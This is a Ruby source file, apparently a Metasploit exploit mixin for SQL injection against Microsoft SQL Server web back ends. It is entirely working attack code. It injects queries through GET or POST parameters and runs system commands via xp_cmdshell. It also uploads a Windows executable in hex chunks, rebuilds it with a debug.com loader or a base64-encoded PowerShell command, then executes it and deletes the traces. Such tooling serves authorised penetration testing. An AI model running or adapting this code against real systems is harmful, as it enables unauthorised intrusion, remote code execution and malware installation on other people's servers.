# -*- coding: binary -*- require 'msf/core' require 'msf/core/exploit/mssql_commands' module Msf ### # # This module wraps functionality for exploiting SQL injection vulnerabilities # Some of the functionality has been borrowed from mssql.rb # ### module Exploit::Remote::MSSQL_SQLI include Msf::Exploit::Remote::HttpClient # # Creates an instance of a MSSQL exploit module. # def initialize(info = {}) super # Register the options that all MSSQL exploits may make use of. register_options( [ Opt::RHOST, Opt::RPORT(80), OptString.new('METHOD', [ true, 'GET or POST', 'GET']), OptString.new('GET_PATH', [ true, 'The complete path with [SQLi] indicating the injection', '/']), OptString.new('DATA', [ false, 'POST data, if necessary, with [SQLi] indicating the injection', '']), OptString.new('COOKIE', [ false, 'Cookie value', '']), ], Msf::Exploit::Remote::MSSQL_SQLI) register_advanced_options( [ OptPath.new('HEX2BINARY', [ false, "The path to the hex2binary script on the disk", File.join(Msf::Config.data_directory, "exploits", "mssql", "h2b") ]) ], Msf::Exploit::Remote::MSSQL_SQLI) register_autofilter_ports([ 80, 443, 8080 ]) register_autofilter_services(%W{ http https }) end # # Execute a system command via xp_cmdshell # def mssql_xpcmdshell(cmd,doprint=false,opts={}) force_enable = false begin res = mssql_query("EXEC master..xp_cmdshell '#{cmd}'", doprint) #mssql_print_reply(res) if doprint return res rescue RuntimeError => e if(e.to_s =~ /xp_cmdshell disabled/) force_enable = true retry end raise e end end # # Upload and execute a Windows binary through MSSQL queries # def mssql_upload_exec(exe, debug=false) hex = exe.unpack("H*")[0] var_bypass = rand_text_alpha(8) var_payload = rand_text_alpha(8) print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory") print_status("Writing the debug.com loader to the disk...") h2b = File.read(datastore['HEX2BINARY'], File.size(datastore['HEX2BINARY'])) h2b.gsub!(/KemneE3N/, "%TEMP%\\#{var_bypass}") h2b.split(/\n/).each do |line| mssql_xpcmdshell("#{line}", false) end print_status("Converting the debug script to an executable...") mssql_xpcmdshell("cmd.exe /c cd %TEMP% && cd %TEMP% && debug < %TEMP%\\#{var_bypass}", debug) mssql_xpcmdshell("cmd.exe /c move %TEMP%\\#{var_bypass}.bin %TEMP%\\#{var_bypass}.exe", debug) print_status("Uploading the payload, please be patient...") idx = 0 cnt = 500 while(idx < hex.length - 1) mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false) idx += cnt end print_status("Converting the encoded payload...") mssql_xpcmdshell("%TEMP%\\#{var_bypass}.exe %TEMP%\\#{var_payload}", debug) mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_bypass}.exe", debug) mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug) print_status("Executing the payload...") mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 10}) end # # Upload and execute a Windows binary through MSSQL queries and Powershell # def powershell_upload_exec(exe, debug=false) # hex converter hex = exe.unpack("H*")[0] # create random alpha 8 character names #var_bypass = rand_text_alpha(8) var_payload = rand_text_alpha(8) print_status("Warning: This module will leave #{var_payload}.exe in the SQL Server %TEMP% directory") # our payload converter, grabs a hex file and converts it to binary for us through powershell h2b = "$s = gc 'C:\\Windows\\Temp\\#{var_payload}';$s = [string]::Join('', $s);$s = $s.Replace('`r',''); $s = $s.Replace('`n','');$b = new-object byte[] $($s.Length/2);0..$($b.Length-1) | %{$b[$_] = [Convert]::ToByte($s.Substring($($_*2),2),16)};[IO.File]::WriteAllBytes('C:\\Windows\\Temp\\#{var_payload}.exe',$b)" h2b_unicode=Rex::Text.to_unicode(h2b) # base64 encode it, this allows us to perform execution through powershell without registry changes h2b_encoded = Rex::Text.encode_base64(h2b_unicode) print_status("Uploading the payload #{var_payload}, please be patient...") idx = 0 cnt = 500 while(idx < hex.length - 1) mssql_xpcmdshell("cmd.exe /c echo #{hex[idx,cnt]}>>%TEMP%\\#{var_payload}", false) idx += cnt end print_status("Converting the payload utilizing PowerShell EncodedCommand...") mssql_xpcmdshell("powershell -EncodedCommand #{h2b_encoded}", debug) mssql_xpcmdshell("cmd.exe /c del %TEMP%\\#{var_payload}", debug) print_status("Executing the payload...") mssql_xpcmdshell("%TEMP%\\#{var_payload}.exe", false, {:timeout => 1}) print_status("Be sure to cleanup #{var_payload}.exe...") end # # Issue a SQL query using the SQL injection point # def mssql_query(sqla, doprint=false) if (doprint) print_status(sqla) end if (datastore['METHOD'] == 'GET') unless datastore['GET_PATH'].index("[SQLi]") fail_with(::Msf::Module::Failure::NoTarget, "The SQL injection parameter was not specified in the GET path") end uri = datastore['GET_PATH'].gsub("[SQLi]", Rex::Text.uri_encode(sqla)) res = send_request_cgi({ 'uri' => uri, 'method' => 'GET', 'cookie' => datastore['COOKIE'], 'headers' => { 'Accept' => '*/*', 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', } }, 5) else unless datastore['DATA'].index("[SQLi]") fail_with(::Msf::Module::Failure::NoTarget, "The SQL injection parameter was not specified in the POST data") end post_data = datastore['DATA'].gsub("[SQLi]", Rex::Text.uri_encode(sqla)) uri = datastore['GET_PATH'] res = send_request_cgi({ 'uri' => uri, 'method' => 'POST', 'data' => post_data, 'cookie' => datastore['COOKIE'], 'headers' => { 'Accept' => '*/*', 'User-Agent' => 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)', } }, 5) end end end end